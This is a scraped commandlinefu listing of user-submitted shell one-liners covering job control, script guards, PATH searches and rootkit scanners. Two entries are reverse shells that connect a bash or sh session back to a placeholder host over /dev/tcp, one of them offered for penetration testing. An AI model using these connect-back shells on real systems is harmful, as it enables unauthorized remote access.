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May 19, 2015 - A Look At The New Commandlinefu
I've put together a short writeup on what kind of newness you can expect from the next iteration of clfu. Check it out here.
March 2, 2015 - New Management
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Commands tagged shell from sorted by
Terminal - Commands tagged shell - 78 results
bash -i >& /dev/tcp/IP/PORT 0>&1
%1 &!
2011-01-14 02:26:24
User: Dema

Continue a current job in the background and detach it from current terminal

typeset -f <function name>; declare -f <function name>
2010-11-24 15:59:42
User: unefunge

no need to reinvent the wheel.

Thanks to the OP for the "obsolete" hint. 'declare' may come in pretty handy on systems paranoid about "up-to-dateness"

<ctrl+z> bg
<ctrl+z> %1 &
2010-10-25 17:43:38
User: joem86

Often times you run a command in the terminal and you don't realize it's going to take forever. You can open a new terminal, but you lose the local history of the suspended one. You can stop the running command using , but that may produce undesirable side-effects. suspends the job, and (assuming you have no other jobs running in the background) %1 resumes it. Appending & tells it to run in the background.

You now have a job running concurrently with your terminal. Note this will still print any output to the same terminal you're working on.

Tested on zsh and bash.

find /tmp -type f -atime +1 -delete
2010-05-11 17:08:49
User: mattoufoutu
Functions: find

Cleans all files in /tmp that have been accessed at least 2 days ago.

unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar
pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_name="mydomain"
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
2010-04-02 09:43:32
User: mtron
Functions: grep read sed wc wget

extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact.

wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
2010-03-30 23:49:30
User: tali713
Functions: grep sed wget

Though without infinite time and knowledge of how the site will be designed in the future this may stop working, it still will serve as a simple straight forward starting point.

This uses the observation that the only item marked as strong on the page is the single logical line that includes the italicized fact.

If future revisions of the page show failure, or intermittent failure, one may simply alter the above to read.

wget randomfunfacts.com -O - 2>/dev/null | tee lastfact | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"

The file lastfact, can then be examined whenever the command fails.

exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
2010-03-18 17:25:08
User: truemilk
Functions: exec

Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory.


/dev/tcp and /dev/udb redirects must be enabled at compile time in Bash.

Most Linux distros enable this feature by default but at least Debian is known to disable it.



x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
2009-12-13 02:23:40
User: sputnick
Functions: perl

Thanks to comment if that works or not...

If you have already typed that snippet or you know you already have IO::Interface::Simple perl module, you can type only the last command :

perl -e 'use IO::Interface::Simple; my $ip=IO::Interface::Simple->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>

( The first perl command will install the module if it's not there already... )

[ -t 0 ] || exit 1
2009-11-20 23:14:49
User: cfajohnson
Functions: exit
Tags: shell script

Exit with error if script is not run in a terminal

tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}
2009-11-04 16:18:00
User: johnraff
Functions: aplay exit tty
Tags: shell script

If your script needs to be run in a terminal, this line at the top will stop it running if you absent-mindedly double-click the icon, perhaps intending to edit it. (Of course this won't help with scripts that run in the background.)

shopt -s cdable_vars
2009-10-26 22:10:56
User: haivu
Tags: bash shell


mydir=/very/long/path/to/a/dir cd mydir

I often need to cd where no man wants to go (i.e. long path). by enabling the shell option cdable_vars, I can tell cd to assume the destination is the name of a variable.

gitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi }
not () { "$@" && return 1 || return 0; }
2009-09-23 01:09:53
User: arcege
Functions: return
Tags: shell

Useful in while and if statements

if not grep string filename; then echo string not found; exit 1; fi
rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
2009-09-15 14:22:56
User: arcege
Functions: rm
Tags: shell rm

Remove everything in current directory except files starting with "ca".

: ${VAR:?unset variable}
2009-09-14 19:41:01
User: arcege
Tags: shell

Works in all shells. Does not require a test. Handles like an assertion.

type <filename>
2009-09-14 09:37:23
User: danam
Functions: type

Also searches for aliases and shell builtins

which <filename>
for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done
2009-09-11 16:14:36
User: arcege
Functions: echo tr

Searches in order of the directories of $PATH. Stops after finding the entry; looks for only that fileName. Works in Bourne, Korn, Bash and Z shells.

svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
2009-09-04 17:23:45
User: arcege
Functions: sed sh
Tags: svn sed shell

Manages everything through one sed script instead of pipes of greps and awks. Quoting of shell variables is generally easier within a sed script.

rkhunter --check
2009-08-30 12:53:33
User: unixbhaskar
Tags: Security shell

rkhunter (Rootkit Hunter) is a Unix-based tool that scans for rootkits, backdoors and possible local exploits. rkhunter is a shell script which carries out various checks on the local system to try and detect known rootkits and malware. It also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

chkrootkit -x | less